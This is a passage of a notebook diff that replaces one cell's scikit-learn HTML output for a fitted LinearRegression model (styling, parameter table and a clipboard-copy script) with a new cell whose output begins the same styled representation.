-       "  --sklearn-color-text-muted: #666;\n",
-       "  --sklearn-color-line: gray;\n",
-       "  /* Definition of color scheme for unfitted estimators */\n",
-       "  --sklearn-color-unfitted-level-0: #fff5e6;\n",
-       "  --sklearn-color-unfitted-level-1: #f6e4d2;\n",
-       "  --sklearn-color-unfitted-level-2: #ffe0b3;\n",
-       "  --sklearn-color-unfitted-level-3: chocolate;\n",
-       "  /* Definition of color scheme for fitted estimators */\n",
-       "  --sklearn-color-fitted-level-0: #f0f8ff;\n",
-       "  --sklearn-color-fitted-level-1: #d4ebff;\n",
-       "  --sklearn-color-fitted-level-2: #b3dbfd;\n",
-       "  --sklearn-color-fitted-level-3: cornflowerblue;\n",
-       "\n",
-       "  /* Specific color for light theme */\n",
-       "  --sklearn-color-text-on-default-background: var(--sg-text-color, var(--theme-code-foreground, var(--jp-content-font-color1, black)));\n",
-       "  --sklearn-color-background: var(--sg-background-color, var(--theme-background, var(--jp-layout-color0, white)));\n",
-       "  --sklearn-color-border-box: var(--sg-text-color, var(--theme-code-foreground, var(--jp-content-font-color1, black)));\n",
-       "  --sklearn-color-icon: #696969;\n",
-       "\n",
-       "  @media (prefers-color-scheme: dark) {\n",
-       "    /* Redefinition of color scheme for dark theme */\n",
-       "    --sklearn-color-text-on-default-background: var(--sg-text-color, var(--theme-code-foreground, var(--jp-content-font-color1, white)));\n",
-       "    --sklearn-color-background: var(--sg-background-color, var(--theme-background, var(--jp-layout-color0, #111)));\n",
-       "    --sklearn-color-border-box: var(--sg-text-color, var(--theme-code-foreground, var(--jp-content-font-color1, white)));\n",
-       "    --sklearn-color-icon: #878787;\n",
-       "  }\n",
-       "}\n",
-       "\n",
-       "#sk-container-id-1 {\n",
-       "  color: var(--sklearn-color-text);\n",
-       "}\n",
-       "\n",
-       "#sk-container-id-1 pre {\n",
-       "  padding: 0;\n",
-       "}\n",
-       "\n",
-       "#sk-container-id-1 input.sk-hidden--visually {\n",
-       "  border: 0;\n",
-       "  clip: rect(1px 1px 1px 1px);\n",
-       "  clip: rect(1px, 1px, 1px, 1px);\n",
-       "  height: 1px;\n",
-       "  margin: -1px;\n",
-       "  overflow: hidden;\n",
-       "  padding: 0;\n",
-       "  position: absolute;\n",
-       "  width: 1px;\n",
-       "}\n",
-       "\n",
-       "#sk-container-id-1 div.sk-dashed-wrapped {\n",
-       "  border: 1px dashed var(--sklearn-color-line);\n",
-       "  margin: 0 0.4em 0.5em 0.4em;\n",
-       "  box-sizing: border-box;\n",
-       "  padding-bottom: 0.4em;\n",
-       "  background-color: var(--sklearn-color-background);\n",
-       "}\n",
-       "\n",
-       "#sk-container-id-1 div.sk-container {\n",
-       "  /* jupyter's `normalize.less` sets `[hidden] { display: none; }`\n",
-       "     but bootstrap.min.css set `[hidden] { display: none !important; }`\n",
-       "     so we also need the `!important` here to be able to override the\n",
-       "     default hidden behavior on the sphinx rendered scikit-learn.org.\n",
-       "     See: https://github.com/scikit-learn/scikit-learn/issues/21755 */\n",
-       "  display: inline-block !important;\n",
-       "  position: relative;\n",
-       "}\n",
-       "\n",
-       "#sk-container-id-1 div.sk-text-repr-fallback {\n",
-       "  display: none;\n",
-       "}\n",
-       "\n",
-       "div.sk-parallel-item,\n",
-       "div.sk-serial,\n",
-       "div.sk-item {\n",
-       "  /* draw centered vertical line to link estimators */\n",
-       "  background-image: linear-gradient(var(--sklearn-color-text-on-default-background), var(--sklearn-color-text-on-default-background));\n",
-       "  background-size: 2px 100%;\n",
-       "  background-repeat: no-repeat;\n",
-       "  background-position: center center;\n",
-       "}\n",
-       "\n",
-       "/* Parallel-specific style estimator block */\n",
-       "\n",
-       "#sk-container-id-1 div.sk-parallel-item::after {\n",
-       "  content: \"\";\n",
-       "  width: 100%;\n",
-       "  border-bottom: 2px solid var(--sklearn-color-text-on-default-background);\n",
-       "  flex-grow: 1;\n",
-       "}\n",
-       "\n",
-       "#sk-container-id-1 div.sk-parallel {\n",
-       "  display: flex;\n",
-       "  align-items: stretch;\n",
-       "  justify-content: center;\n",
-       "  background-color: var(--sklearn-color-background);\n",
-       "  position: relative;\n",
-       "}\n",
-       "\n",
-       "#sk-container-id-1 div.sk-parallel-item {\n",
-       "  display: flex;\n",
-       "  flex-direction: column;\n",
-       "}\n",
-       "\n",
-       "#sk-container-id-1 div.sk-parallel-item:first-child::after {\n",
-       "  align-self: flex-end;\n",
-       "  width: 50%;\n",
-       "}\n",
-       "\n",
-       "#sk-container-id-1 div.sk-parallel-item:last-child::after {\n",
-       "  align-self: flex-start;\n",
-       "  width: 50%;\n",
-       "}\n",
-       "\n",
-       "#sk-container-id-1 div.sk-parallel-item:only-child::after {\n",
-       "  width: 0;\n",
-       "}\n",
-       "\n",
-       "/* Serial-specific style estimator block */\n",
-       "\n",
-       "#sk-container-id-1 div.sk-serial {\n",
-       "  display: flex;\n",
-       "  flex-direction: column;\n",
-       "  align-items: center;\n",
-       "  background-color: var(--sklearn-color-background);\n",
-       "  padding-right: 1em;\n",
-       "  padding-left: 1em;\n",
-       "}\n",
-       "\n",
-       "\n",
-       "/* Toggleable style: style used for estimator/Pipeline/ColumnTransformer box that is\n",
-       "clickable and can be expanded/collapsed.\n",
-       "- Pipeline and ColumnTransformer use this feature and define the default style\n",
-       "- Estimators will overwrite some part of the style using the `sk-estimator` class\n",
-       "*/\n",
-       "\n",
-       "/* Pipeline and ColumnTransformer style (default) */\n",
-       "\n",
-       "#sk-container-id-1 div.sk-toggleable {\n",
-       "  /* Default theme specific background. It is overwritten whether we have a\n",
-       "  specific estimator or a Pipeline/ColumnTransformer */\n",
-       "  background-color: var(--sklearn-color-background);\n",
-       "}\n",
-       "\n",
-       "/* Toggleable label */\n",
-       "#sk-container-id-1 label.sk-toggleable__label {\n",
-       "  cursor: pointer;\n",
-       "  display: flex;\n",
-       "  width: 100%;\n",
-       "  margin-bottom: 0;\n",
-       "  padding: 0.5em;\n",
-       "  box-sizing: border-box;\n",
-       "  text-align: center;\n",
-       "  align-items: start;\n",
-       "  justify-content: space-between;\n",
-       "  gap: 0.5em;\n",
-       "}\n",
-       "\n",
-       "#sk-container-id-1 label.sk-toggleable__label .caption {\n",
-       "  font-size: 0.6rem;\n",
-       "  font-weight: lighter;\n",
-       "  color: var(--sklearn-color-text-muted);\n",
-       "}\n",
-       "\n",
-       "#sk-container-id-1 label.sk-toggleable__label-arrow:before {\n",
-       "  /* Arrow on the left of the label */\n",
-       "  content: \"▸\";\n",
-       "  float: left;\n",
-       "  margin-right: 0.25em;\n",
-       "  color: var(--sklearn-color-icon);\n",
-       "}\n",
-       "\n",
-       "#sk-container-id-1 label.sk-toggleable__label-arrow:hover:before {\n",
-       "  color: var(--sklearn-color-text);\n",
-       "}\n",
-       "\n",
-       "/* Toggleable content - dropdown */\n",
-       "\n",
-       "#sk-container-id-1 div.sk-toggleable__content {\n",
-       "  display: none;\n",
-       "  text-align: left;\n",
-       "  /* unfitted */\n",
-       "  background-color: var(--sklearn-color-unfitted-level-0);\n",
-       "}\n",
-       "\n",
-       "#sk-container-id-1 div.sk-toggleable__content.fitted {\n",
-       "  /* fitted */\n",
-       "  background-color: var(--sklearn-color-fitted-level-0);\n",
-       "}\n",
-       "\n",
-       "#sk-container-id-1 div.sk-toggleable__content pre {\n",
-       "  margin: 0.2em;\n",
-       "  border-radius: 0.25em;\n",
-       "  color: var(--sklearn-color-text);\n",
-       "  /* unfitted */\n",
-       "  background-color: var(--sklearn-color-unfitted-level-0);\n",
-       "}\n",
-       "\n",
-       "#sk-container-id-1 div.sk-toggleable__content.fitted pre {\n",
-       "  /* unfitted */\n",
-       "  background-color: var(--sklearn-color-fitted-level-0);\n",
-       "}\n",
-       "\n",
-       "#sk-container-id-1 input.sk-toggleable__control:checked~div.sk-toggleable__content {\n",
-       "  /* Expand drop-down */\n",
-       "  display: block;\n",
-       "  width: 100%;\n",
-       "  overflow: visible;\n",
-       "}\n",
-       "\n",
-       "#sk-container-id-1 input.sk-toggleable__control:checked~label.sk-toggleable__label-arrow:before {\n",
-       "  content: \"▾\";\n",
-       "}\n",
-       "\n",
-       "/* Pipeline/ColumnTransformer-specific style */\n",
-       "\n",
-       "#sk-container-id-1 div.sk-label input.sk-toggleable__control:checked~label.sk-toggleable__label {\n",
-       "  color: var(--sklearn-color-text);\n",
-       "  background-color: var(--sklearn-color-unfitted-level-2);\n",
-       "}\n",
-       "\n",
-       "#sk-container-id-1 div.sk-label.fitted input.sk-toggleable__control:checked~label.sk-toggleable__label {\n",
-       "  background-color: var(--sklearn-color-fitted-level-2);\n",
-       "}\n",
-       "\n",
-       "/* Estimator-specific style */\n",
-       "\n",
-       "/* Colorize estimator box */\n",
-       "#sk-container-id-1 div.sk-estimator input.sk-toggleable__control:checked~label.sk-toggleable__label {\n",
-       "  /* unfitted */\n",
-       "  background-color: var(--sklearn-color-unfitted-level-2);\n",
-       "}\n",
-       "\n",
-       "#sk-container-id-1 div.sk-estimator.fitted input.sk-toggleable__control:checked~label.sk-toggleable__label {\n",
-       "  /* fitted */\n",
-       "  background-color: var(--sklearn-color-fitted-level-2);\n",
-       "}\n",
-       "\n",
-       "#sk-container-id-1 div.sk-label label.sk-toggleable__label,\n",
-       "#sk-container-id-1 div.sk-label label {\n",
-       "  /* The background is the default theme color */\n",
-       "  color: var(--sklearn-color-text-on-default-background);\n",
-       "}\n",
-       "\n",
-       "/* On hover, darken the color of the background */\n",
-       "#sk-container-id-1 div.sk-label:hover label.sk-toggleable__label {\n",
-       "  color: var(--sklearn-color-text);\n",
-       "  background-color: var(--sklearn-color-unfitted-level-2);\n",
-       "}\n",
-       "\n",
-       "/* Label box, darken color on hover, fitted */\n",
-       "#sk-container-id-1 div.sk-label.fitted:hover label.sk-toggleable__label.fitted {\n",
-       "  color: var(--sklearn-color-text);\n",
-       "  background-color: var(--sklearn-color-fitted-level-2);\n",
-       "}\n",
-       "\n",
-       "/* Estimator label */\n",
-       "\n",
-       "#sk-container-id-1 div.sk-label label {\n",
-       "  font-family: monospace;\n",
-       "  font-weight: bold;\n",
-       "  display: inline-block;\n",
-       "  line-height: 1.2em;\n",
-       "}\n",
-       "\n",
-       "#sk-container-id-1 div.sk-label-container {\n",
-       "  text-align: center;\n",
-       "}\n",
-       "\n",
-       "/* Estimator-specific */\n",
-       "#sk-container-id-1 div.sk-estimator {\n",
-       "  font-family: monospace;\n",
-       "  border: 1px dotted var(--sklearn-color-border-box);\n",
-       "  border-radius: 0.25em;\n",
-       "  box-sizing: border-box;\n",
-       "  margin-bottom: 0.5em;\n",
-       "  /* unfitted */\n",
-       "  background-color: var(--sklearn-color-unfitted-level-0);\n",
-       "}\n",
-       "\n",
-       "#sk-container-id-1 div.sk-estimator.fitted {\n",
-       "  /* fitted */\n",
-       "  background-color: var(--sklearn-color-fitted-level-0);\n",
-       "}\n",
-       "\n",
-       "/* on hover */\n",
-       "#sk-container-id-1 div.sk-estimator:hover {\n",
-       "  /* unfitted */\n",
-       "  background-color: var(--sklearn-color-unfitted-level-2);\n",
-       "}\n",
-       "\n",
-       "#sk-container-id-1 div.sk-estimator.fitted:hover {\n",
-       "  /* fitted */\n",
-       "  background-color: var(--sklearn-color-fitted-level-2);\n",
-       "}\n",
-       "\n",
-       "/* Specification for estimator info (e.g. \"i\" and \"?\") */\n",
-       "\n",
-       "/* Common style for \"i\" and \"?\" */\n",
-       "\n",
-       ".sk-estimator-doc-link,\n",
-       "a:link.sk-estimator-doc-link,\n",
-       "a:visited.sk-estimator-doc-link {\n",
-       "  float: right;\n",
-       "  font-size: smaller;\n",
-       "  line-height: 1em;\n",
-       "  font-family: monospace;\n",
-       "  background-color: var(--sklearn-color-background);\n",
-       "  border-radius: 1em;\n",
-       "  height: 1em;\n",
-       "  width: 1em;\n",
-       "  text-decoration: none !important;\n",
-       "  margin-left: 0.5em;\n",
-       "  text-align: center;\n",
-       "  /* unfitted */\n",
-       "  border: var(--sklearn-color-unfitted-level-1) 1pt solid;\n",
-       "  color: var(--sklearn-color-unfitted-level-1);\n",
-       "}\n",
-       "\n",
-       ".sk-estimator-doc-link.fitted,\n",
-       "a:link.sk-estimator-doc-link.fitted,\n",
-       "a:visited.sk-estimator-doc-link.fitted {\n",
-       "  /* fitted */\n",
-       "  border: var(--sklearn-color-fitted-level-1) 1pt solid;\n",
-       "  color: var(--sklearn-color-fitted-level-1);\n",
-       "}\n",
-       "\n",
-       "/* On hover */\n",
-       "div.sk-estimator:hover .sk-estimator-doc-link:hover,\n",
-       ".sk-estimator-doc-link:hover,\n",
-       "div.sk-label-container:hover .sk-estimator-doc-link:hover,\n",
-       ".sk-estimator-doc-link:hover {\n",
-       "  /* unfitted */\n",
-       "  background-color: var(--sklearn-color-unfitted-level-3);\n",
-       "  color: var(--sklearn-color-background);\n",
-       "  text-decoration: none;\n",
-       "}\n",
-       "\n",
-       "div.sk-estimator.fitted:hover .sk-estimator-doc-link.fitted:hover,\n",
-       ".sk-estimator-doc-link.fitted:hover,\n",
-       "div.sk-label-container:hover .sk-estimator-doc-link.fitted:hover,\n",
-       ".sk-estimator-doc-link.fitted:hover {\n",
-       "  /* fitted */\n",
-       "  background-color: var(--sklearn-color-fitted-level-3);\n",
-       "  color: var(--sklearn-color-background);\n",
-       "  text-decoration: none;\n",
-       "}\n",
-       "\n",
-       "/* Span, style for the box shown on hovering the info icon */\n",
-       ".sk-estimator-doc-link span {\n",
-       "  display: none;\n",
-       "  z-index: 9999;\n",
-       "  position: relative;\n",
-       "  font-weight: normal;\n",
-       "  right: .2ex;\n",
-       "  padding: .5ex;\n",
-       "  margin: .5ex;\n",
-       "  width: min-content;\n",
-       "  min-width: 20ex;\n",
-       "  max-width: 50ex;\n",
-       "  color: var(--sklearn-color-text);\n",
-       "  box-shadow: 2pt 2pt 4pt #999;\n",
-       "  /* unfitted */\n",
-       "  background: var(--sklearn-color-unfitted-level-0);\n",
-       "  border: .5pt solid var(--sklearn-color-unfitted-level-3);\n",
-       "}\n",
-       "\n",
-       ".sk-estimator-doc-link.fitted span {\n",
-       "  /* fitted */\n",
-       "  background: var(--sklearn-color-fitted-level-0);\n",
-       "  border: var(--sklearn-color-fitted-level-3);\n",
-       "}\n",
-       "\n",
-       ".sk-estimator-doc-link:hover span {\n",
-       "  display: block;\n",
-       "}\n",
-       "\n",
-       "/* \"?\"-specific style due to the `<a>` HTML tag */\n",
-       "\n",
-       "#sk-container-id-1 a.estimator_doc_link {\n",
-       "  float: right;\n",
-       "  font-size: 1rem;\n",
-       "  line-height: 1em;\n",
-       "  font-family: monospace;\n",
-       "  background-color: var(--sklearn-color-background);\n",
-       "  border-radius: 1rem;\n",
-       "  height: 1rem;\n",
-       "  width: 1rem;\n",
-       "  text-decoration: none;\n",
-       "  /* unfitted */\n",
-       "  color: var(--sklearn-color-unfitted-level-1);\n",
-       "  border: var(--sklearn-color-unfitted-level-1) 1pt solid;\n",
-       "}\n",
-       "\n",
-       "#sk-container-id-1 a.estimator_doc_link.fitted {\n",
-       "  /* fitted */\n",
-       "  border: var(--sklearn-color-fitted-level-1) 1pt solid;\n",
-       "  color: var(--sklearn-color-fitted-level-1);\n",
-       "}\n",
-       "\n",
-       "/* On hover */\n",
-       "#sk-container-id-1 a.estimator_doc_link:hover {\n",
-       "  /* unfitted */\n",
-       "  background-color: var(--sklearn-color-unfitted-level-3);\n",
-       "  color: var(--sklearn-color-background);\n",
-       "  text-decoration: none;\n",
-       "}\n",
-       "\n",
-       "#sk-container-id-1 a.estimator_doc_link.fitted:hover {\n",
-       "  /* fitted */\n",
-       "  background-color: var(--sklearn-color-fitted-level-3);\n",
-       "}\n",
-       "\n",
-       ".estimator-table summary {\n",
-       "    padding: .5rem;\n",
-       "    font-family: monospace;\n",
-       "    cursor: pointer;\n",
-       "}\n",
-       "\n",
-       ".estimator-table details[open] {\n",
-       "    padding-left: 0.1rem;\n",
-       "    padding-right: 0.1rem;\n",
-       "    padding-bottom: 0.3rem;\n",
-       "}\n",
-       "\n",
-       ".estimator-table .parameters-table {\n",
-       "    margin-left: auto !important;\n",
-       "    margin-right: auto !important;\n",
-       "}\n",
-       "\n",
-       ".estimator-table .parameters-table tr:nth-child(odd) {\n",
-       "    background-color: #fff;\n",
-       "}\n",
-       "\n",
-       ".estimator-table .parameters-table tr:nth-child(even) {\n",
-       "    background-color: #f6f6f6;\n",
-       "}\n",
-       "\n",
-       ".estimator-table .parameters-table tr:hover {\n",
-       "    background-color: #e0e0e0;\n",
-       "}\n",
-       "\n",
-       ".estimator-table table td {\n",
-       "    border: 1px solid rgba(106, 105, 104, 0.232);\n",
-       "}\n",
-       "\n",
-       ".user-set td {\n",
-       "    color:rgb(255, 94, 0);\n",
-       "    text-align: left;\n",
-       "}\n",
-       "\n",
-       ".user-set td.value pre {\n",
-       "    color:rgb(255, 94, 0) !important;\n",
-       "    background-color: transparent !important;\n",
-       "}\n",
-       "\n",
-       ".default td {\n",
-       "    color: black;\n",
-       "    text-align: left;\n",
-       "}\n",
-       "\n",
-       ".user-set td i,\n",
-       ".default td i {\n",
-       "    color: black;\n",
-       "}\n",
-       "\n",
-       ".copy-paste-icon {\n",
-       "    background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA0NDggNTEyIj48IS0tIUZvbnQgQXdlc29tZSBGcmVlIDYuNy4yIGJ5IEBmb250YXdlc29tZSAtIGh0dHBzOi8vZm9udGF3ZXNvbWUuY29tIExpY2Vuc2UgLSBodHRwczovL2ZvbnRhd2Vzb21lLmNvbS9saWNlbnNlL2ZyZWUgQ29weXJpZ2h0IDIwMjUgRm9udGljb25zLCBJbmMuLS0+PHBhdGggZD0iTTIwOCAwTDMzMi4xIDBjMTIuNyAwIDI0LjkgNS4xIDMzLjkgMTQuMWw2Ny45IDY3LjljOSA5IDE0LjEgMjEuMiAxNC4xIDMzLjlMNDQ4IDMzNmMwIDI2LjUtMjEuNSA0OC00OCA0OGwtMTkyIDBjLTI2LjUgMC00OC0yMS41LTQ4LTQ4bDAtMjg4YzAtMjYuNSAyMS41LTQ4IDQ4LTQ4ek00OCAxMjhsODAgMCAwIDY0LTY0IDAgMCAyNTYgMTkyIDAgMC0zMiA2NCAwIDAgNDhjMCAyNi41LTIxLjUgNDgtNDggNDhMNDggNTEyYy0yNi41IDAtNDgtMjEuNS00OC00OEwwIDE3NmMwLTI2LjUgMjEuNS00OCA0OC00OHoiLz48L3N2Zz4=);\n",
-       "    background-repeat: no-repeat;\n",
-       "    background-size: 14px 14px;\n",
-       "    background-position: 0;\n",
-       "    display: inline-block;\n",
-       "    width: 14px;\n",
-       "    height: 14px;\n",
-       "    cursor: pointer;\n",
-       "}\n",
-       "</style><body><div id=\"sk-container-id-1\" class=\"sk-top-container\"><div class=\"sk-text-repr-fallback\"><pre>LinearRegression()</pre><b>In a Jupyter environment, please rerun this cell to show the HTML representation or trust the notebook. <br />On GitHub, the HTML representation is unable to render, please try loading this page with nbviewer.org.</b></div><div class=\"sk-container\" hidden><div class=\"sk-item\"><div class=\"sk-estimator fitted sk-toggleable\"><input class=\"sk-toggleable__control sk-hidden--visually\" id=\"sk-estimator-id-1\" type=\"checkbox\" checked><label for=\"sk-estimator-id-1\" class=\"sk-toggleable__label fitted sk-toggleable__label-arrow\"><div><div>LinearRegression</div></div><div><a class=\"sk-estimator-doc-link fitted\" rel=\"noreferrer\" target=\"_blank\" href=\"https://scikit-learn.org/1.7/modules/generated/sklearn.linear_model.LinearRegression.html\">?<span>Documentation for LinearRegression</span></a><span class=\"sk-estimator-doc-link fitted\">i<span>Fitted</span></span></div></label><div class=\"sk-toggleable__content fitted\" data-param-prefix=\"\">\n",
-       "        <div class=\"estimator-table\">\n",
-       "            <details>\n",
-       "                <summary>Parameters</summary>\n",
-       "                <table class=\"parameters-table\">\n",
-       "                  <tbody>\n",
-       "                    \n",
-       "        <tr class=\"default\">\n",
-       "            <td><i class=\"copy-paste-icon\"\n",
-       "                 onclick=\"copyToClipboard('fit_intercept',\n",
-       "                          this.parentElement.nextElementSibling)\"\n",
-       "            ></i></td>\n",
-       "            <td class=\"param\">fit_intercept&nbsp;</td>\n",
-       "            <td class=\"value\">True</td>\n",
-       "        </tr>\n",
-       "    \n",
-       "\n",
-       "        <tr class=\"default\">\n",
-       "            <td><i class=\"copy-paste-icon\"\n",
-       "                 onclick=\"copyToClipboard('copy_X',\n",
-       "                          this.parentElement.nextElementSibling)\"\n",
-       "            ></i></td>\n",
-       "            <td class=\"param\">copy_X&nbsp;</td>\n",
-       "            <td class=\"value\">True</td>\n",
-       "        </tr>\n",
-       "    \n",
-       "\n",
-       "        <tr class=\"default\">\n",
-       "            <td><i class=\"copy-paste-icon\"\n",
-       "                 onclick=\"copyToClipboard('tol',\n",
-       "                          this.parentElement.nextElementSibling)\"\n",
-       "            ></i></td>\n",
-       "            <td class=\"param\">tol&nbsp;</td>\n",
-       "            <td class=\"value\">1e-06</td>\n",
-       "        </tr>\n",
-       "    \n",
-       "\n",
-       "        <tr class=\"default\">\n",
-       "            <td><i class=\"copy-paste-icon\"\n",
-       "                 onclick=\"copyToClipboard('n_jobs',\n",
-       "                          this.parentElement.nextElementSibling)\"\n",
-       "            ></i></td>\n",
-       "            <td class=\"param\">n_jobs&nbsp;</td>\n",
-       "            <td class=\"value\">None</td>\n",
-       "        </tr>\n",
-       "    \n",
-       "\n",
-       "        <tr class=\"default\">\n",
-       "            <td><i class=\"copy-paste-icon\"\n",
-       "                 onclick=\"copyToClipboard('positive',\n",
-       "                          this.parentElement.nextElementSibling)\"\n",
-       "            ></i></td>\n",
-       "            <td class=\"param\">positive&nbsp;</td>\n",
-       "            <td class=\"value\">False</td>\n",
-       "        </tr>\n",
-       "    \n",
-       "                  </tbody>\n",
-       "                </table>\n",
-       "            </details>\n",
-       "        </div>\n",
-       "    </div></div></div></div></div><script>function copyToClipboard(text, element) {\n",
-       "    // Get the parameter prefix from the closest toggleable content\n",
-       "    const toggleableContent = element.closest('.sk-toggleable__content');\n",
-       "    const paramPrefix = toggleableContent ? toggleableContent.dataset.paramPrefix : '';\n",
-       "    const fullParamName = paramPrefix ? `${paramPrefix}${text}` : text;\n",
-       "\n",
-       "    const originalStyle = element.style;\n",
-       "    const computedStyle = window.getComputedStyle(element);\n",
-       "    const originalWidth = computedStyle.width;\n",
-       "    const originalHTML = element.innerHTML.replace('Copied!', '');\n",
-       "\n",
-       "    navigator.clipboard.writeText(fullParamName)\n",
-       "        .then(() => {\n",
-       "            element.style.width = originalWidth;\n",
-       "            element.style.color = 'green';\n",
-       "            element.innerHTML = \"Copied!\";\n",
-       "\n",
-       "            setTimeout(() => {\n",
-       "                element.innerHTML = originalHTML;\n",
-       "                element.style = originalStyle;\n",
-       "            }, 2000);\n",
-       "        })\n",
-       "        .catch(err => {\n",
-       "            console.error('Failed to copy:', err);\n",
-       "            element.style.color = 'red';\n",
-       "            element.innerHTML = \"Failed!\";\n",
-       "            setTimeout(() => {\n",
-       "                element.innerHTML = originalHTML;\n",
-       "                element.style = originalStyle;\n",
-       "            }, 2000);\n",
-       "        });\n",
-       "    return false;\n",
-       "}\n",
-       "\n",
-       "document.querySelectorAll('.fa-regular.fa-copy').forEach(function(element) {\n",
-       "    const toggleableContent = element.closest('.sk-toggleable__content');\n",
-       "    const paramPrefix = toggleableContent ? toggleableContent.dataset.paramPrefix : '';\n",
-       "    const paramName = element.parentElement.nextElementSibling.textContent.trim();\n",
-       "    const fullParamName = paramPrefix ? `${paramPrefix}${paramName}` : paramName;\n",
-       "\n",
-       "    element.setAttribute('title', fullParamName);\n",
-       "});\n",
-       "</script></body>"
+      "cell_type": "code",
+      "execution_count": null,
+      "id": "a47f4353",
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 80
+        },
+        "id": "a47f4353",
+        "outputId": "25314df6-c938-4f64-9aae-05aae7fa4c95"
+      },
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "LinearRegression()"
+            ],
+            "text/html": [
+              "<style>#sk-container-id-6 {\n",
+              "  /* Definition of color scheme common for light and dark mode */\n",
+              "  --sklearn-color-text: #000;\n",
+              "  --sklearn-color-text-muted: #666;\n",
+              "  --sklearn-color-line: gray;\n",
+              "  /* Definition of color scheme for unfitted estimators */\n",
+              "  --sklearn-color-unfitted-level-0: #fff5e6;\n",
+              "  --sklearn-color-unfitted-level-1: #f6e4d2;\n",
+              "  --sklearn-color-unfitted-level-2: #ffe0b3;\n",
+              "  --sklearn-color-unfitted-level-3: chocolate;\n",
+              "  /* Definition of color scheme for fitted estimators */\n",
+              "  --sklearn-color-fitted-level-0: #f0f8ff;\n",
+              "  --sklearn-color-fitted-level-1: #d4ebff;\n",
+              "  --sklearn-color-fitted-level-2: #b3dbfd;\n",
+              "  --sklearn-color-fitted-level-3: cornflowerblue;\n",
+              "\n",
+              "  /* Specific color for light theme */\n",
+              "  --sklearn-color-text-on-default-background: var(--sg-text-color, var(--theme-code-foreground, var(--jp-content-font-color1, black)));\n",
+              "  --sklearn-color-background: var(--sg-background-color, var(--theme-background, var(--jp-layout-color0, white)));\n",
+              "  --sklearn-color-border-box: var(--sg-text-color, var(--theme-code-foreground, var(--jp-content-font-color1, black)));\n",
+              "  --sklearn-color-icon: #696969;\n",
+              "\n",
+              "  @media (prefers-color-scheme: dark) {\n",
+              "    /* Redefinition of color scheme for dark theme */\n",
+              "    --sklearn-color-text-on-default-background: var(--sg-text-color, var(--theme-code-foreground, var(--jp-content-font-color1, white)));\n",
+              "    --sklearn-color-background: var(--sg-background-color, var(--theme-background, var(--jp-layout-color0, #111)));\n",
+              "    --sklearn-color-border-box: var(--sg-text-color, var(--theme-code-foreground, var(--jp-content-font-color1, white)));\n",
+              "    --sklearn-color-icon: #878787;\n",
+              "  }\n",
+              "}\n",
+              "\n",
+              "#sk-container-id-6 {\n",
+              "  color: var(--sklearn-color-text);\n",
+              "}\n",
+              "\n",
+              "#sk-container-id-6 pre {\n",
+              "  padding: 0;\n",
+              "}\n",
+              "\n",
+              "#sk-container-id-6 input.sk-hidden--visually {\n",
+              "  border: 0;\n",
+              "  clip: rect(1px 1px 1px 1px);\n",
+              "  clip: rect(1px, 1px, 1px, 1px);\n",
+              "  height: 1px;\n",
+              "  margin: -1px;\n",
+              "  overflow: hidden;\n",
+              "  padding: 0;\n",
+              "  position: absolute;\n",
+              "  width: 1px;\n",
+              "}\n",
+              "\n",
+              "#sk-container-id-6 div.sk-dashed-wrapped {\n",
+              "  border: 1px dashed var(--sklearn-color-line);\n",
+              "  margin: 0 0.4em 0.5em 0.4em;\n",
+              "  box-sizing: border-box;\n",
+              "  padding-bottom: 0.4em;\n",
+              "  background-color: var(--sklearn-color-background);\n",
+              "}\n",
+              "\n",
+              "#sk-container-id-6 div.sk-container {\n",
+              "  /* jupyter's `normalize.less` sets `[hidden] { display: none; }`\n",
+              "     but bootstrap.min.css set `[hidden] { display: none !important; }`\n",
+              "     so we also need the `!important` here to be able to override the\n",
+              "     default hidden behavior on the sphinx rendered scikit-learn.org.\n",
+              "     See: https://github.com/scikit-learn/scikit-learn/issues/21755 */\n",
+              "  display: inline-block !important;\n",
+              "  position: relative;\n",
+              "}\n",
+              "\n",
+              "#sk-container-id-6 div.sk-text-repr-fallback {\n",
+              "  display: none;\n",
+              "}\n",
+              "\n",
+              "div.sk-parallel-item,\n",
+              "div.sk-serial,\n",
+              "div.sk-item {\n",
+              "  /* draw centered vertical line to link estimators */\n",
+              "  background-image: linear-gradient(var(--sklearn-color-text-on-default-background), var(--sklearn-color-text-on-default-background));\n",
+              "  background-size: 2px 100%;\n",
+              "  background-repeat: no-repeat;\n",
+              "  background-position: center center;\n",
+              "}\n",
+              "\n",
+              "/* Parallel-specific style estimator block */\n",
+              "\n",
+              "#sk-container-id-6 div.sk-parallel-item::after {\n",
+              "  content: \"\";\n",
+              "  width: 100%;\n",
+              "  border-bottom: 2px solid var(--sklearn-color-text-on-default-background);\n",
+              "  flex-grow: 1;\n",
+              "}\n",
+              "\n",
+              "#sk-container-id-6 div.sk-parallel {\n",
+              "  display: flex;\n",
+              "  align-items: stretch;\n",
+              "  justify-content: center;\n",
+              "  background-color: var(--sklearn-color-background);\n",
+              "  position: relative;\n",
+              "}\n",
+              "\n",
+              "#sk-container-id-6 div.sk-parallel-item {\n",
+              "  display: flex;\n",
+              "  flex-direction: column;\n",
+              "}\n",
+              "\n",
+              "#sk-container-id-6 div.sk-parallel-item:first-child::after {\n",
+              "  align-self: flex-end;\n",
+              "  width: 50%;\n",
+              "}\n",
+              "\n",
+              "#sk-container-id-6 div.sk-parallel-item:last-child::after {\n",
+              "  align-self: flex-start;\n",
+              "  width: 50%;\n",
+              "}\n",
+              "\n",
+              "#sk-container-id-6 div.sk-parallel-item:only-child::after {\n",
+              "  width: 0;\n",
+              "}\n",
+              "\n",
+              "/* Serial-specific style estimator block */\n",
+              "\n",
+              "#sk-container-id-6 div.sk-serial {\n",
+              "  display: flex;\n",
+              "  flex-direction: column;\n",
+              "  align-items: center;\n",
+              "  background-color: var(--sklearn-color-background);\n",
+              "  padding-right: 1em;\n",
+              "  padding-left: 1em;\n",
+              "}\n",
+              "\n",
+              "\n",
+              "/* Toggleable style: style used for estimator/Pipeline/ColumnTransformer box that is\n",
+              "clickable and can be expanded/collapsed.\n",
+              "- Pipeline and ColumnTransformer use this feature and define the default style\n",
+              "- Estimators will overwrite some part of the style using the `sk-estimator` class\n",
+              "*/\n",
+              "\n",
+              "/* Pipeline and ColumnTransformer style (default) */\n",
+              "\n",
+              "#sk-container-id-6 div.sk-toggleable {\n",
